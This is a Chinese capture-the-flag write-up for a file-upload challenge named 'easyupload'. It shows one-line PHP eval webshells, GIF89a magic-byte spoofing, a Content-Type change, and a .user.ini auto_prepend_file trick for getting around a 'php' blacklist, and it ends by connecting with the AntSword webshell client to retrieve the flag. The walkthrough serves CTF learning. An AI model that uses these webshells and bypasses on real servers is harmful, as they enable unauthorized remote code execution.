CTF之easyupload

拿到题目发现是文件上传的漏洞,但是这个黑名单过滤的有点严格,无论是文件里还是文件后缀都不能出现php

那我们就用<?=eval($_POST['a']);?>来进行绕过(注意这里要加个GIF89a或者GIP87a进行欺骗)

但是后缀依然不能绕过怎么办?

接下来就要学新知识了

.user.ini文件

auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=shell.jpg

然后在shell.jpg中写入一个一句话木嘛

<?php eval($_P0ST['aaa']); ?>

那么和.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。

这里上传.user.ini文件

文件里写:auto_prepend_file=a.jpg

注意:要进行抓包将文件类型改成Content-Type: image/jpeg并且也要加GIF89a或者GIF87a

然后再上传一个对应的木马文件,并且后缀为图片类型

最后就是用蚁剑连接了注意连接地址是/uploads/index.php

cyberpeace{8e50e0951cae4b39f7c312da788c71bb}

相关推荐
wuyoula6 小时前
旧物回收系统源码 – go语言版
php·源码·源码分享·网站源码·源码大全
w***48828 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
wuyoula8 小时前
AI面相最新版微信小程序源码
ai·php·编程·php源码·网站源码·ai源码·游戏源码
郑州光合科技余经理11 小时前
开发指南:海外版外卖跑腿系统源码解析与定制
java·开发语言·mysql·spring cloud·uni-app·php·深度优先
HUT_Tyne26513 小时前
阿里云ACP认证
阿里云·云计算·php
Laravel技术社区13 小时前
php 读取视频流(mp4视频文件),快速读取视频解决方案(案例及配置)
开发语言·php·音视频
csdn_aspnet15 小时前
PHP 计算球体的体积和表面积(Calculate Volume and Surface area Of Sphere)
php
PyHaVolask15 小时前
PHP基础入门
开发语言·php
zwm_yy16 小时前
php常用函数
开发语言·php·restful
YUJIANYUE17 小时前
查立得PHP+Mysql影院选座式教室座位预定系统 v1.0
开发语言·mysql·php